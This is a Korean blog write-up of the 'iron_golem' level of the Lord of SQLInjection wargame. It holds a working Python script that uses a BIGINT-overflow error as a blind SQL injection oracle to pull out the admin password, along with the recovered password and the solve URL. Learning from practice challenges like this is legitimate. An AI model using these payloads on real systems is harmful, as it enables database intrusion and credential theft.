LoS - Iron_Golem

IKKI·2019년 12월 22일
0

LoS

목록 보기
2/4

LoS - Iron_Golem

이번문제는 SQL의 에러출력을 이용하여 해결하는 문제이다.

if함수를 응용하여 참일때 Error출력 혹은 거짓일때 Error출력을 출력하면 이전까지의 BlindSQL Injection문제와 동일하게 해결할 수 있다.

if함수의 참부분에 0xFFFFFFFFFFFFFF*0xFFFFFFFF 을 입력하면 INT가 오버플로우되어 SQL에러가 발생하게 된다.(BIGINT)

Exploit

PythonCode

sql.setProb("iron_golem")
    #find pwlen
    for i in range(50):
        sql.setData(pw="' or id='admin' and if(length(pw) > {min}, 0xFFFFFFFFFFFFFF*0xFFFFFFFF,false) %23".format(min=i))
        sql.run(out=False)
        if "BIGINT" not in sql.result:
            sql.load("payload -> "+str(i))
            sql.res("PWLEN :"+str(i))
            pwlen=i
            break
        else:
            sql.load("payload -> "+str(i))
    #FIND PW
    pw=""
    for i in range(1,pwlen+1):
        for asc in range(48,127):
            sql.setData(pw="' or id='admin' and if(mid(pw,{i},1) = '{c}', 0xFFFFFFFFFFFFFF*0xFFFFFFFF,false) %23".format(i=i,c=chr(asc)))
            sql.run(out=False)
            if "BIGINT" in sql.result:
                pw+=chr(asc)
                sql.load("pw : "+pw)
                break
    pw=pw.lower()
    sql.setData(pw=pw)
    sql.run()

OUTPUT

 [%] payload -> 32
 [>] PWLEN :32
 [%] pw : 06B5A6C16E8830475F983CC3A825EE9A
 [+] DATA : https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw=06b5a6c16e8830475f983cc3a825ee9a

 [*] ANSWER ▽ 
IRON_GOLEM Clear!
profile
한걸음

0개의 댓글